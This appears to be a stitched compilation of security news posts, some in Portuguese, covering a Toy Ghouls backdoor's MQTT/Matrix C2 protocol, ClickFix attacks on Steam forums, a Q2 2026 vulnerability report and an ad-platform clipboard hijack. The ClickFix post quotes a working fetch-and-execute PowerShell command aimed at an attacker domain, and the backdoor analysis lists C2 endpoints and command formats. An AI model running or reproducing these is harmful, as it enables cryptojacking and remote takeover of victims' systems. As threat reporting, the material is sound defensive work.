A newly documented Windows attack pattern, dubbed Bring Your Own Trusted Caller (BYOTC), shows how attackers can bypass driver-level authorization controls without exploiting a traditional memory-corruption flaw. Instead of attacking a privileged kernel driver directly, an adversary compromises or abuses the legitimate user-mode application that the driver already trusts. The technique expands on the well-known […]
The financially motivated threat actor Toy Ghouls has expanded its custom malware arsenal with two Windows backdoors that abuse HiveMQ’s public MQTT infrastructure and the Matrix-based Element messaging ecosystem for command-and-control communications. The development marks a notable evolution for the group, which previously leaned on publicly available tools and leaked ransomware builders before introducing its […]
We continue tracking the activity of Toy Ghouls (also known as Bearlyfy, Laboo.boo, and Feral Wolf), a financially motivated group that has been targeting Russian organizations since 2025. The attackers initially relied exclusively on tools pulled from public GitHub repositories along with leaked Babuk and LockBit ransomware builders, later shifting to their own custom ransomware, GenieLocker. In early July 2026, we observed the group using a custom backdoor for the first time.
We identified two versions of this backdoor: one uses the HiveMQ MQTT broker as its C2 server, while the other relies on the Element messenger. Both versions include “bird” in their names:
mqtt-bird-agent 0.1.0 (HiveMQ version)
matrix-bird-agent 0.1.0 (Element version)
This post examines how the backdoor is delivered to target systems, how it establishes persistence, and how it communicates with its C2 server.
Technical details
Delivery
In this campaign, the attackers use Windows Remote Management (WinRM) to deliver the backdoors and their configuration files to compromised systems. The group relies on open-source tools such as Evil-WinRM and WinRM-fs to do this.
Installation
The backdoor can both run within an interactive command-line session and establish persistence as a Windows service, using the --install or install option, depending on the backdoor version. The --service (or service) option is not available by default and is instead used as an argument for the installed Windows service.
Other launch options are listed in the backdoor’s help output:
C:\cplsupport.exe -h
Bird Agent - MQTT server monitor
Usage: cplsupport.exe [OPTIONS]
Options:
-c, --config <CONFIG> Path to config.toml config file
--install Install as a system service
--uninstall Uninstall the system service
--seal Encrypt sensitive config fields in-place using a machine-bound key
-h, --help Print help
-V, --version Print version
HiveMQ version backdoor help output
In the Element version, the backdoor help output looks as follows:
C:\wtass.exe -h
Matrix monitoring agent
Usage: wtass.exe [OPTIONS] [COMMAND]
Commands:
install Register this agent with the Matrix homeserver and panel
uninstall Remove this agent's service and credentials
service Run as a Windows service (internal)
help Print this message or the help of the given subcommand(s)
Options:
-c, --config <CONFIG>
-h, --help Print help
-V, --version Print version
Element version backdoor help output
By default, the backdoor looks for a config.toml configuration file in the directory where the executable was launched, then falls back to %PROGRAMDATA%\SynapseAgent\config.toml (Element version) or %PROGRAMDATA%\cplsupport\config.toml (HiveMQ version). If no configuration file is found in either location, the full path can be specified using the -c (--config) option.
The backdoor accepts both unencrypted configuration files and files with partially encrypted sections. In the first case, once the backdoor is launched, it reads the file and partially encrypts it using the seal() function (the --seal option in the HiveMQ version), applying the ChaCha20-Poly1305 algorithm with a key derived from the value of the HKLM\Software\Microsoft\Cryptography\MachineGuid registry key. This means that after the backdoor’s first run, the configuration file becomes bound to that specific machine. On subsequent runs, the configuration is decrypted automatically. If the input configuration was already partially encrypted, it is likewise decrypted automatically.
If the configuration cannot be decrypted, the backdoor stops running.
Encrypted configuration files look as follows:
Encrypted backdoor configuration file, HiveMQ version
The encrypted portion of the HiveMQ version’s configuration contains the following parameters:
agent_privkey: the agent’s private key
channel_id: the channel identifier used to communicate with the broker
server_pubkey: the server’s public key
Decrypted blob field in the HiveMQ version’s configuration
In the Element version, the configuration file is deleted immediately after the first run, and the relevant parameters are instead written to the HKLM\Software\synapse\Config\SealedConfig registry key. On subsequent runs, the backdoor checks the registry for its configuration first.
Decrypted Element version configuration file, retrieved from the registry
The Element version’s configuration specifies the address of an Element server controlled by the attackers, a room identifier, and an access_token used to access that room. If this parameter is left empty, the backdoor prompts for the password interactively during installation. After successfully creating a session, the backdoor saves the received token to the blob field.
Communication
At startup, both backdoor versions send a GET request to http://ip-api.com/json to determine the system’s public IP address and country of origin.
The first version uses the public HiveMQ MQTT broker (broker.hivemq.com) as its C2 server. The free tier of this broker supports up to 100 concurrent connections and up to 10 GB of traffic per month. The attackers set up their own cluster and used it both to collect telemetry from compromised systems and to send commands to the backdoor.
Once a connection is established, the system’s status is sent via a POST request to
broker.hivemq.com:8883/[cluster_id]/status. The message format is:
{"online":bool,"hostname":"hostname.domain","timestamp":unix_timestamp,"location":{"json"}}.
At intervals defined in the configuration file, system information, such as CPU load and available memory, is sent via a POST request to
broker.hivemq.com:8883/[cluster_id]/metrics3. The message format is:
{cpu_percent":float,"mem_used_bytes":int,"mem_total_bytes":int,"disk_used_bytes":int,"disk_total_bytes":int,"load_1m":float,"load_5m":float,"load_15m":float,"uptime_secs":int,"hostname":"hostname.domain","timestamp":unix_timestamp}.
The backdoor sends GET requests to
broker.hivemq.com:8883/[cluster_id]/cmd/req to retrieve commands from the C2 server. The server responds in the format:
{"cmd_id":int,"command":"str","timeout_secs":int}.
Commands are executed via PowerShell.exe in hidden mode, using the -NonInteractive -NoProfile -Command parameters.
Command execution results are sent to the command server at
broker.hivemq.com:8883/[cluster_id]/cmd/res in the
{"stdout":"str","stderr":"str","exit_code":int,"duration_ms":int} format.
For the second backdoor version, the attackers set up their own Element server running on the Matrix protocol, meet.element[.]tw, as the C2 server. On this server, they created a room used to receive messages containing device information and to send commands for execution on the compromised system. The communication flow is as follows:
Once a connection is successfully established, the backdoor sends an m.bird.status message containing the system’s status. This message format is identical to that used in the HiveMQ version.
At intervals defined in the configuration file, information about the compromised system is sent as an m.bird.metrics message. Field names are slightly different from those in the first version:
{cpu_percent_x100":float,"mem_used_bytes":int,"mem_total_bytes":int,"disk_used_bytes":int,"disk_total_bytes":int,"load_1m_x100":float,"load_5m_x100":float,"load_15m_x100":float,"uptime_secs":int,"hostname":"hostname.domain","timestamp":unix_timestamp}.
This version of the backdoor supports two types of commands, distinguished by the start of the received message.
To set a new interval for sending metrics, the attackers send a message beginning with config:set_interval (accepting values from 5 to 3600 seconds). The new value is saved to the HKLM\Software\SynapseAgent\metrics_interval registry key.
Messages containing commands to execute begin with the string cmd:. Based on data extracted from Element’s SQLite databases on the compromised system, we were able to identify the account name the attackers used to send commands: panel-bot.
Received commands are executed via the Windows command line interface.
Command output is sent as an m.bird.cmd_response message. This message format mirrors the one used in the HiveMQ version.
Takeaways
We have been tracking Toy Ghouls’ activity for quite some time. We previously found that the group had expanded its arsenal with a custom ransomware strain, GenieLocker, and we have now discovered that it has also developed a backdoor capable of giving it full control over an infected device. The new tools use unconventional channels to communicate with their C2 server: the HiveMQ MQTT broker and the Matrix-based Element messenger. This shift away from publicly available open-source projects toward custom-built tools suggests that Toy Ghouls is working to make its attacks more sophisticated and to evade detection for longer.
Microsoft will start automatically enabling Memory Integrity protection on eligible Windows devices through quality updates beginning in October 2026. This change aims to strengthen defenses against kernel-level attacks by ensuring that only trusted kernel-mode code and drivers can run on supported systems. Memory Integrity is a security feature built on Virtualization-based Security (VBS), a Windows […]
Microsoft alerts IT admins that hotpatch-enrolled systems will require unexpected mandatory reboots in September and October. Prepare for potential downtime.
Learn about the latest Windows 11 KB5120998 bugs causing desktop black screens and cursor glitches. Find out how to uninstall this optional update safely.
Microsoft has confirmed an issue with Microsoft Defender Antivirus that generates false notifications on Windows systems, claiming “Microsoft Defender Antivirus is turned off,” even though the protection is still operational. These alerts may appear after installing the latest Defender updates, potentially causing unnecessary concern for administrators who observe that Defender settings are healthy and security […]
Discover how upcoming Windows 11 Phone Link updates will let you remotely shut down, restart, or sleep your PC directly from your Android mobile device.
Este ano, houve uma verdadeira explosão de ataques ClickFix. O golpe faz tanto sucesso entre os criminosos que mal terminamos de escrever sobre uma variante e já surge outra.
Desta vez, os invasores estão de olho nos gamers: jornalistas de tecnologia identificaram publicações com dicas maliciosas nos fóruns da Steam. Veja como são essas publicações, qual malware elas ajudam a disseminar e como manter seu dispositivo protegido.
ClickFix chega aos fóruns da Steam
Muitos gamers recorrem a outros jogadores nos fóruns da Steam em busca de ajuda e dicas para superar uma missão difícil, subir de nível, conseguir os melhores itens ou contornar um bug. É justamente essa confiança nas recomendações da comunidade que os invasores decidiram explorar.
O ataque começa quando criminosos respondem a uma pergunta sobre travamentos no jogo, itens ausentes no inventário ou outros problemas técnicos. Fingindo ser comentaristas prestativos, eles sugerem abrir o PowerShell como administrador e executar um comando que supostamente resolveria o problema do usuário.
Ao disfarçar a publicação como uma orientação para solucionar problemas, o agente malicioso sugere executar o PowerShell como administrador e, em seguida, um comando que supostamente resolveria o problema do usuário. Fonte
Como dá para imaginar, executar o comando não resolve nada e só cria um problema muito maior. Essa é justamente a lógica do ClickFix: usar engenharia social para induzir as vítimas a executar ações inseguras por conta própria, fornecendo aos golpistas os meios necessários para comprometer o dispositivo. Já abordamos outros truques do ClickFix, como CAPTCHAs falsos, erros de navegador forjados e outros, todos baseados em fazer a própria vítima executar o comando malicioso. Você pode saber mais sobre as diferentes variações de ataques ClickFix em uma postagem anterior.
A astúcia de usar o ClickFix nos fóruns da Steam é que o ataque pode atingir não apenas o jogador que pediu ajuda. Muitos outros gamers que tiverem o mesmo problema e encontrarem a resposta em uma busca no Google também podem cair no golpe.
Entenda rapidamente: o que realmente existe por trás do comando irm | iex
Antes de explicar o que os invasores realmente induzem os gamers a instalar dessa maneira, é importante apresentar um pouco do contexto técnico. Para começar, as publicações nos fóruns da Steam orientam as possíveis vítimas, sem que elas desconfiem, a executar o seguinte comando no PowerShell:
irm msfconfig.icu | iex
Para quem não conhece o PowerShell em detalhes, essa linha pode parecer bastante inofensiva, pois lembra a inicialização do MSConfig, o utilitário de configuração do sistema integrado ao Windows, com alguns parâmetros adicionais.
Na verdade, está longe de ser inofensiva. Veja o que cada parte desse comando realmente faz:
irm é a forma abreviada do comando integrado Invoke-RestMethod do PowerShell. Acessa o endereço da Web indicado mais adiante na linha e recupera os dados retornados.
icu é esse endereço da Web, e não o nome de um arquivo local, como pode parecer à primeira vista. Trata-se do servidor dos invasores, que responde à solicitação irm com um script malicioso do PowerShell.
iex é outro comando integrado do PowerShell, Invoke-Expression. Ele recebe o conteúdo obtido por irm nesse endereço da Web e o executa como código do PowerShell.
Quando essa linha de código do PowerShell é executada, ela baixa um script do site especificado e o executa imediatamente. Como um usuário do Reddit observou corretamente, é possível descobrir com segurança qual código seria baixado para o dispositivo, sem correr o risco de executá-lo, simplesmente removendo a segunda parte, iex. Sem ela, o comando apenas baixa o conteúdo do script e o exibe na janela do PowerShell, sem executá-lo. Assim, é possível ver o código completo e sem ofuscação que estão pedindo para executar no dispositivo. Agora, vejamos o que esses supostos usuários prestativos dos fóruns da Steam realmente querem que os gamers instalem em suas máquinas.
Um minerador de criptomoedas, não uma ferramenta de otimização
Os invasores fizeram a lição de casa: o script do PowerShell baixado do servidor deles imita de forma convincente um utilitário de otimização do Windows. Após iniciado, ele exibe notificações informando que exclui arquivos temporários, limpa o cache DNS, atualiza drivers, verifica erros no disco e malware, desativa aplicativos desnecessários na inicialização, repara a imagem do Windows e verifica a integridade dos arquivos do sistema.
O script exibe uma sequência de mensagens sobre diversas tarefas falsas de otimização para dar a impressão de que está realizando uma manutenção útil. Fonte
Enquanto isso, a atividade real acontece nos bastidores. Primeiro, o script verifica se está sendo executado com privilégios de administrador. Em caso afirmativo, cria uma pasta de trabalho oculta em C:\Windows\Background e a adiciona à lista de exclusões do Microsoft Defender. A partir daí, os arquivos colocados nessa pasta deixam de ser verificados pelo antivírus integrado do Windows.
Em seguida, o script prepara o sistema para a próxima etapa do ataque e baixa um arquivo executável do servidor dos invasores, salvando-o na mesma pasta C:\Windows\Background com o nome system.exe, que parece legítimo.
O arquivo baixado é o XMRig, uma das ferramentas mais populares para mineração da criptomoeda Monero. O XMRig em si não é um malware, mas uma ferramenta de mineração legítima e de código aberto. O problema é que os invasores o instalam nos computadores das vítimas sem o conhecimento delas. Quando está em execução, o poder de processamento do dispositivo é sequestrado para minerar Monero, e o valor em criptomoedas vai diretamente para os criminosos.
Isso torna os PCs gamers modernos alvos especialmente atraentes: eles contam com CPUs e GPUs potentes, exatamente o tipo de hardware excelente para mineração de criptomoedas.
Para garantir que o malware continue ativo após uma reinicialização, o script também cria uma nova tarefa no Agendador de Tarefas do Windows: XMRig-{computer name}. A partir daí, o minerador de criptomoedas é iniciado automaticamente sempre que o sistema é ligado.
Como proteger seu dispositivo contra mineradores de criptomoedas e outros malwares
Infelizmente, muitos gamers relutam em instalar software de segurança ou mantê-lo em execução em seus dispositivos. O principal motivo é o mito persistente de que “um antivírus deixa o jogo mais lento”. Já abordamos pesquisas sobre isso em nosso blog, e os resultados mostraram que não há impacto significativo no desempenho ao usar um antivírus durante os jogos.
Já os mineradores de criptomoedas realmente prejudicam o desempenho e ainda aceleram o desgaste do hardware. Então, como manter seu PC gamer e suas contas longe de riscos?
Evite executar scripts no PowerShell, Terminal ou outros prompts de comando que pessoas desconhecidas recomendem copiar e executar, seja em fóruns, chats ou comentários.
Antes de pressionar Enter em qualquer comando que você não entenda por completo, pesquise o que ele faz e quais podem ser as consequências de executá-lo.
Não desative a proteção enquanto joga. O ideal é usar uma solução com modo de jogo dedicado. Os produtos de segurança da Kaspersky ativam esse modo automaticamente assim que um jogo é iniciado, adiando atualizações dos bancos de dados de antivírus, notificações e verificações de disco programadas até você terminar de jogar.
Quer saber de que outras formas os invasores atacam gamers? Confira nossas outras postagens:
The vulnerability landscape shifted significantly in Q2 2026. First, the number of registered CVEs reached an unprecedented level. This is driven primarily by the widespread adoption of AI, both for application development and search for security flaws. This resulted in entire new classes of vulnerabilities emerging, particularly in the Linux networking subsystem.
Second, security researchers have been publishing exploits for unpatched vulnerabilities more frequently. Publications like these can generate significant fallout, since they potentially open the door for attackers to target unprotected systems.
Statistics on registered vulnerabilities
This section provides statistical data on registered vulnerabilities. The data comes from Kaspersky’s vulnerability knowledge base, which draws on the CVE database as well as the Russian BDU database and GitHub Advisory (GHSA). As a result, the figures for previous reporting periods may differ from those published in earlier reports.
We examine the number of registered vulnerabilities for each month over the last five years. As the chart below shows, this number continues to surge, a trend reflected across all the databases we track. It’s driven primarily by the widespread adoption of AI tools: as we predicted in our previous report, these tools have played a major role in the discovery of vulnerabilities in third-party software. Meanwhile, these tools often contain security issues of their own. For example, OpenClaw, a popular AI project, ranked 12th among those with the highest number of vulnerabilities discovered and published in Q2, with over 200 CVEs registered during the reporting period. Finally, AI development tools are also contributing to the vulnerability landscape, since the quality of the code they produce can vary widely. Therefore, the rate at which new vulnerabilities are discovered will inevitably keep growing.
Total published vulnerabilities per month from 2022 through 2026 (download)
Next, we analyze the number of new critical vulnerabilities (CVSS > 9.0) over the same period.
Total critical vulnerabilities published per month from 2022 through 2026 (download)
As the chart shows, the number of published critical vulnerabilities jumped sharply in Q2. This is because using AI for vulnerability research makes it possible to analyze massive amounts of previously unexamined code, uncover new attack surfaces, and identify entire classes of vulnerabilities that have gone unnoticed for decades. In particular, AI was used to find a series of Dirty Frag vulnerabilities in the Linux kernel.
Exploitation statistics
This section presents statistics on vulnerability exploitation for Q2 2026. The data draws on open sources and our telemetry.
Windows and Linux vulnerability exploitation
Q2 2026 saw a new precedent in the publication of vulnerabilities in Windows components and exploits for these: researchers no longer waiting for CVE registration, let alone patches. A case in point: a researcher who goes by Nightmare Eclipse (also known as Chaotic Eclipse) published a list of new “named” vulnerabilities across various Windows subsystems. At the time the technical details were published, none of the vulnerabilities had been assigned a CVE identifier:
BlueHammer: a local privilege escalation vulnerability in Windows Defender. During signature database updates, a time-of-check to time-of-use (TOCTOU) race condition occurs, allowing an attacker to substitute the directory where temporary update files are written. The researcher published a fully functional exploit for the vulnerability.
RedSun: another logical vulnerability in Windows Defender with a working exploit. Suspicious and malicious files marked as “cloud” can be overwritten or restored to their original directory with elevated privileges. The exploit incorporates fragments of algorithms that make it possible to leverage various logical vulnerabilities in Windows, effectively combining a large number of popular exploitation techniques.
YellowKey: a vulnerability that lets the user bypass BitLocker full-disk encryption and access system data through the Windows Recovery Environment (WinRE). A fully functional exploit was also published.
GreenPlasma: a vulnerability that enables system object injection via the CTF loader for the Collaborative Translation Framework (CTFMON) service in Windows. The original publication included an exploit with limited functionality.
RoguePlanet: yet another Windows Defender vulnerability that, like BlueHammer, stems from a TOCTOU issue, this time in the engine responsible for real-time system scanning. The published exploit uses the vulnerability to overwrite the system file wermgr.exe with a malicious one.
UnDefend: another vulnerability in the Windows Defender service. This time, the exploit causes a denial of service and blocks updates.
Even though such cases remain isolated for now, we believe they’ll grow into a full-fledged trend. Early publication of exploits gives attackers an advantage over software developers, who are left with no time to fix the issues.
Veteran vulnerabilities in Windows software also remain relevant. These are the ones our solutions most frequently detect exploits for:
CVE-2018-0802: a remote code execution (RCE) vulnerability in the Equation Editor component
CVE-2017-11882: another RCE vulnerability also affecting Equation Editor
CVE-2017-0199: a vulnerability in Microsoft Office and WordPad that allows an attacker to gain control over the system
CVE-2023-38831: a vulnerability in WinRAR that involves improper handling of objects within an archive
CVE-2025-6218 (formerly ZDI-CAN-27198): another WinRAR vulnerability allowing the specification of relative paths to extract files into arbitrary directories, potentially leading to malicious command execution
CVE-2025-8088: a vulnerability similar in exploitation method to CVE-2025-6218. The attackers used NTFS Streams to circumvent controls on the directory into which files are being unpacked
The vulnerabilities listed here can be leveraged to gain initial access to a vulnerable system and for privilege escalation. This underscores the critical importance of timely software updates.
That said, the number of Windows users who encountered exploits declined slightly in Q2, hitting an 18-month low.
Dynamics of the number of Windows users encountering exploits, Q1 2025 – Q2 2026. The number of users who encountered exploits in Q1 2025 is taken as 100% (download)
Linux also hit a rough patch in Q2 2026. Specifically, the period saw the disclosure of the Dirty Frag family of vulnerabilities, which lets an attacker reliably escalate privileges within the operating system.
All the vulnerabilities published in Q2 2026 were, in one way or another, related to the Linux caching subsystem. Here are the ones being most actively exploited:
CVE-2026-31431 (Copy Fail): a local privilege escalation vulnerability in the Linux kernel that lets an unprivileged user modify the page cache and gain root privileges. Especially dangerous for cloud and containerized environments
CVE-2026-43284, CVE-2026-43500 (Dirty Frag): a family of vulnerabilities in the Linux networking subsystem (IPsec ESP and RxRPC) that lets a local user overwrite the page cache and escalate privileges to root
CVE-2026-46300 (Fragnesia): a local privilege escalation vulnerability in the Linux kernel related to packet fragment handling and the page cache mechanism. It lets an unprivileged user gain root privileges and is also classified as part of the Dirty Frag family
CVE-2026-31635 (DirtyDecrypt): a Linux kernel vulnerability that lets a local attacker escalate privileges due to improper handling of decryption operations and page cache data modification
CVE-2026-43494 (PinTheft): a Linux kernel vulnerability that lets a local user gain elevated privileges due to errors in the memory page pinning mechanism
CVE-2026-46331 (pedit COW): a vulnerability in the Linux kernel’s traffic control subsystem (tc-pedit) that exploits a flaw in copy-on-write to modify the page cache and subsequently escalate privileges to root
The vulnerabilities described above were quickly embraced by attackers. At the same time, our solutions continue to detect exploitation attempts targeting older vulnerabilities as well:
CVE-2022-0847: a vulnerability known as Dirty Pipe, which enables privilege escalation and the hijacking of running applications
CVE-2019-13272: a vulnerability caused by improper handling of privilege inheritance, which can be exploited to achieve privilege escalation
CVE-2021-22555: a heap out-of-bounds write vulnerability in the Netfilter kernel subsystem
CVE-2023-32233: another Netfilter subsystem vulnerability that allows for Use-After-Free conditions and privilege escalation through improper processing of network requests
Dynamics of the number of Linux users encountering exploits, Q1 2025 – Q2 2026. The number of users who encountered exploits in Q1 2025 is taken as 100% (download)
In Q2 2026, the number of Linux users who encountered exploits declined slightly compared to Q1. Given that a significant share of new vulnerabilities are tied to the operating system’s caching subsystem, we recommend installing patches as quickly as possible, or disabling vulnerable kernel modules if patching isn’t an option.
Most common published exploits
The distribution of published exploits by software type in Q2 2026 includes categories that haven’t appeared in the sample for a long time. For instance, we’re once again seeing exploits targeting SharePoint. It’s worth noting that while several vulnerability write-ups for Exchange and SharePoint were published during the quarter, most turned out to be fake, AI-generated research. While the articles and exploit source code themselves look fairly polished, they describe nonexistent problems in the software or its components — often close to genuinely vulnerable mechanisms — in order to mislead researchers. This type of attack is aimed at increasing the time it takes to detect real vulnerabilities. In some cases, the description of a nonexistent vulnerability came bundled with completely unrelated malware.
Distribution of published exploits by platform, Q1 2026 (download)
Distribution of published exploits by platform, Q2 2026 (download)
Vulnerability exploitation in APT attacks
We analyzed which vulnerabilities were exploited in APT attacks during Q2 2026. The rankings provided below include data based on our telemetry, research, and open sources.
TOP 10 vulnerabilities exploited in APT attacks, Q2 2026 (download)
In Q2 2026, a trend emerged in APT attacks toward exploiting new vulnerabilities right from the moment they’re published. As before, we’re also seeing a large number of zero-day vulnerabilities. The Langflow vulnerability deserves particular attention: it’s one of the first cases of an APT group exploiting AI technology, which many organizations are only just beginning to integrate. Because most of this tech is proprietary, it has a considerable number of security blind spots. Therefore, given the growing number of AI-based automation tools, we strongly recommend going beyond the usual patching and developing secure procedures for credential use and sensitive data handling in systems that rely on agents and LLMs.
C2 frameworks
In this section, we examine the most popular C2 frameworks used by APT groups and analyze the vulnerabilities targeted by the exploits that interacted with C2 agents in APT attacks.
The chart below shows the frequency of known C2 framework usage in attacks during Q2 2026, according to open sources.
TOP 10 C2 frameworks used by APTs to compromise user systems, Q2 2026 (download)
Sliver, Havoc, AdaptixC2, and Metasploit remain the most widely used C2 frameworks. After studying open sources and analyzing samples of malicious C2 agents that contained exploits, we determined that the following vulnerabilities were utilized in APT attacks involving the C2 frameworks mentioned above:
CVE-2026-35273: a vulnerability in Oracle PeopleSoft PeopleTools that security vendors classify as server-side request forgery (SSRF). The details of the vulnerability have never been disclosed, although some research covers the post-exploitation steps
CVE-2023-46604: an insecure deserialization vulnerability in Apache ActiveMQ that allows arbitrary code execution in the context of the service process
CVE-2024-12356 and CVE-2026-1731: command injection vulnerabilities in BeyondTrust software that allow an attacker to send malicious commands even without system authentication
CVE-2023-36884: a vulnerability in the Windows Search component that allows commands to be run on the system, bypassing the mark-of-the-web (MoTW) mechanism
CVE-2025-53770: an insecure deserialization vulnerability in Microsoft SharePoint that allows for unauthenticated command execution on the server
CVE-2025-8088 and CVE-2025-6218: similar directory traversal vulnerabilities in WinRAR that allow files to be extracted from an archive to a predetermined path, potentially without the archiving utility displaying any alerts to the user
These vulnerabilities show that attackers used them for initial access and privilege escalation on vulnerable systems, setting the stage for launching a C2 agent. They include both zero-day vulnerabilities and fairly well-known security issues.
LLM/AI tool vulnerabilities
This section analyzes data published in Kaspersky’s vulnerability knowledge base. We reviewed the Q2 2026 version of the knowledge base.
As mentioned above, AI tools, plugins, and technologies have proven fairly effective at automating the search for problematic code and anomalous behavior. The high speed at which new vulnerabilities are being discovered has naturally created a need to fix them just as quickly. AI is often used for this too, which increases the volume of code being generated. However, neither code written without human involvement nor AI-generated advice is always correct.
The chart below covers registered vulnerabilities in AI tools for 2025–2026.
Number of published vulnerabilities in LLMs, AI tools, and plugins with similar functionality, 2025–2026 (download)
As the charts show, AI tools are racking up a substantial number of registered vulnerabilities, and that number keeps growing quarter over quarter. It’s also worth looking at how AI tool vulnerabilities break down by type, according to the CWE system:
TOP 6 vulnerability types in products that implement or use AI/LLM logic, 2025–2026
Interestingly, vulnerabilities of an undetermined type have ranked first in every quarter since the start of 2025. Traditionally-made software has the same issue, and it doesn’t look like the growing number of AI tools will fix it. It’s also notable that the list includes classes CWE developers themselves don’t recommend using for vulnerability classification, since they lump together a whole range of more specific types. CWE-284 is an example of this.
Looking at the most common classes, the key issues found in AI-related software can be summed up as follows:
Inadequate access control over critical system objects
Improper implementation of authentication and authorization mechanisms
Injections
It’s worth noting that injection-related vulnerabilities were relatively rare before AI agents took off (previously, they mostly affected web apps). Recently, though, these security issues have become relevant again.
Looking back at a year and a half of the AI boom, one conclusion stands out regarding registered vulnerabilities: AI tool developers are more focused on expanding functionality than on security. This is worth keeping in mind when using these tools. Let’s look at the projects and applications that either integrated AI tools or offered them as the core product. Below is a list of the those with the highest number of registered vulnerabilities for 2025–2026.
TOP AI/LLM-related projects by number of published vulnerabilities, 2025–2026 (download)
Notable vulnerabilities
This section highlights the most significant vulnerabilities published in Q2 2026 that have publicly available descriptions. Since the above already covers several significant vulnerabilities published during the reporting period, this section consists mainly of LLM/AI tool vulnerabilities.
CVE-2026-25253: a gatewayUrl vulnerability in OpenClaw
The issue stems from the fact that the OpenClaw user interface trusts the value of the gatewayUrl parameter passed in the URL and automatically establishes a WebSocket connection to the specified address. During this connection process, it sends an authentication token without any additional user confirmation.
The attack algorithm exploiting this vulnerability works as follows:
The application obtains a critical connection address from an external source (the gatewayUrl URL parameter), which is controlled by the attacker.
There is no validation before use.
The client automatically initiates a connection to the address specified in the parameter, which belongs to the attacker.
While connected, the application sends credentials (an access token) to the specified address.
If the attacker obtains a valid token, the consequences depend on that token’s level of access within the system. In general, this could lead to:
User session compromise
Execution of operations on the user’s behalf
Modification of the AI agent configuration
Unauthorized access to tools and resources connected to the agent
Under certain OpenClaw configurations, further compromise of the host running the agent
It’s worth noting that the risk of exploitation arises from a combination of several factors: the automatic connection and token transmission, the lack of address trust verification, and the high privileges granted to the local AI agent.
CVE-2026-41948: a path traversal vulnerability in the Dify AI platform
The vulnerability lets an authenticated user craft a request that enables the application to escape its permitted tenant and gain access to internal REST APIs that weren’t meant for that user. The root cause is insufficient normalization and validation of the URL path before it’s passed to the internal service.
Depending on the Dify configuration, the consequences can include:
Unauthorized access to internal service interfaces
Breach of isolation between workspaces
Exposure of internal service information
Conditions favorable to further attacks when combined with other vulnerabilities
The use of Dify in enterprise AI platforms is particularly risky, since internal services there tend to hold elevated privileges.
CVE-2026-45386: an improper access control vulnerability in Open WebUI
In Open WebUI, pin/unpin operations on messages are write operations, since they modify that message’s metadata (is_pinned, pinned_by, pinned_at). In vulnerable versions, however, before performing these actions, the API only checked for read access to the channel (a chat between a user or group and the AI) containing the message, not permission to modify its content. As a result, a user with a role limited to viewing messages could still change a message’s pinned status.
The vulnerability’s mechanism works as follows:
The user initiates an action that changes the state of an object.
The application treats this action as a regular read request.
Only channel view permission is checked.
The application performs a write without verifying the required user authorization.
This violates one of the fundamental principles of access control models — namely, that any operation that changes the state of data must be checked for the appropriate write or moderation permissions, regardless of whether the object itself is readable.
Although the vulnerability doesn’t lead to arbitrary code execution or compromise of sensitive data, it can affect data integrity and collaborative workflows. Potential consequences of exploitation include unauthorized pinning or unpinning of messages, disruption of channel moderators’ and administrators’ activities, changes to the display order of important information, and even the potential spread of false or misleading information by altering the channel containing a pinned message.
Open WebUI is widely used as an interface for interacting with local and enterprise LLMs. In these systems, pinned messages often contain important instructions, announcements, or tips for users. The ability to modify them with minimal privileges can disrupt collaborative workflows, cause confusion, and undermine trust in information published by administrators and moderators.
CVE-2026-45501: a vulnerability in Microsoft Exchange
The vulnerability stems from improper neutralization of user input when generating Exchange web pages. As a result, the browser may interpret specially crafted data as active content instead of plain text.
Although Microsoft categorizes the potential impact of exploiting this vulnerability as spoofing, flaws like this can lead to alteration of displayed content, imitation of trusted interfaces, actions on behalf of the user within an active session, and abuse of user trust.
It’s worth noting that issues like this are still relevant in modern software, given that mechanisms like Content Security Policy and various parsers were specifically created to help developers neutralize dangerous parts of user page content.
Conclusion and advice
Q2 brought the first significant results of AI automation adoption in software development and vulnerability hunting tools. This research shows that beyond traditional patch management, organizations now need real-time monitoring of systems and access controls, since infrastructure and everyday applications now contain far more AI functionality that could lead to compromise.
Accordingly, besides quickly detecting infrastructure vulnerabilities and managing security patches, modern enterprise-grade security solutions need to provide a broad range of preventive measures for tracking the overall health of systems and workstations. Kaspersky Next meets these requirements by combining proactive mechanisms with the ability to respond promptly to emerging threats.
Iran-linked threat actors associated with MuddyWater are using a newly tracked Windows backdoor dubbed Dindoor that hijacks the legitimate Deno runtime to execute malicious JavaScript and TypeScript payloads. The campaign demonstrates how trusted developer tooling can be turned into an effective execution layer for malware while reducing the value of file-signature and hash-based detection. The […]
O Adform, uma importante plataforma de publicidade, permaneceu comprometido por aproximadamente 24 horas (desde o fim do dia 26 de julho até a noite de 27 de julho) após ser alvo de um ataque por invasores desconhecidos. Poucas pessoas fora do setor conhecem o nome, mas o Adform veicula cerca de 1,5 bilhão de impressões de anúncios todos os dias em dezenas de milhares de sites. Isso significa que qualquer pessoa que visitasse um site que veiculasse anúncios do Adform poderia ter sido alvo do ataque.
Os invasores não estavam tentando instalar malware. Em vez disso, eles executaram um script no navegador da vítima que verificava a área de transferência a cada três segundos. Se detectasse que um endereço de carteira de criptomoedas havia sido copiado, o script o substituía pelo endereço de carteira dos invasores. Assim, se alguém tivesse um site com o anúncio malicioso aberto em uma guia do navegador e estivesse realizando uma transação com criptomoedas em outra guia ou em um aplicativo dedicado, os fundos poderiam acabar nas mãos dos invasores. Os responsáveis pelo Adform detectaram o ataque e corrigiram o problema, mas não há garantia de que um incidente semelhante não volte a acontecer. Por isso, todos os usuários devem se proteger contra publicidade maliciosa. Confira nossas dicas no final desta postagem.
O que sabemos sobre o ataque ao Adform
Não há muitas informações disponíveis, pois a declaração oficial da empresa aborda apenas o que aconteceu e quando, sem explicar a causa do incidente. Uma pesquisa independente revelou detalhes técnicos sobre como usuários comuns foram alvo do ataque, mas nada disso explica como o próprio Adform foi invadido inicialmente.
O que está claro é que os invasores inseriram seu próprio código no JavaScript carregado em todos os sites que veiculavam anúncios do Adform. Sempre que um anúncio estava prestes a ser exibido, o script era carregado do servidor do Adform, selecionava o anúncio correto e o exibia. No entanto, os invasores haviam acrescentado um conjunto de funções maliciosas: monitorar a área de transferência, enviar ao próprio servidor dados sobre o site em que o ataque ocorreu e o endereço IP da vítima, além de substituir endereços de carteiras de Bitcoin, Ethereum e Tron.
Para que o ataque funcionasse, bastava uma guia do navegador aberta com qualquer site que veiculasse anúncios do Adform. Não importava o tipo de site, a aparência do anúncio ou a qual anunciante ele pertencia. A única coisa que importava era se o site usava HTTP ou HTTPS. Segundo o Adform, o ataque não poderia ser realizado em um site carregado por HTTPS, pois, nesse caso, a conexão com o servidor dos invasores era bloqueada.
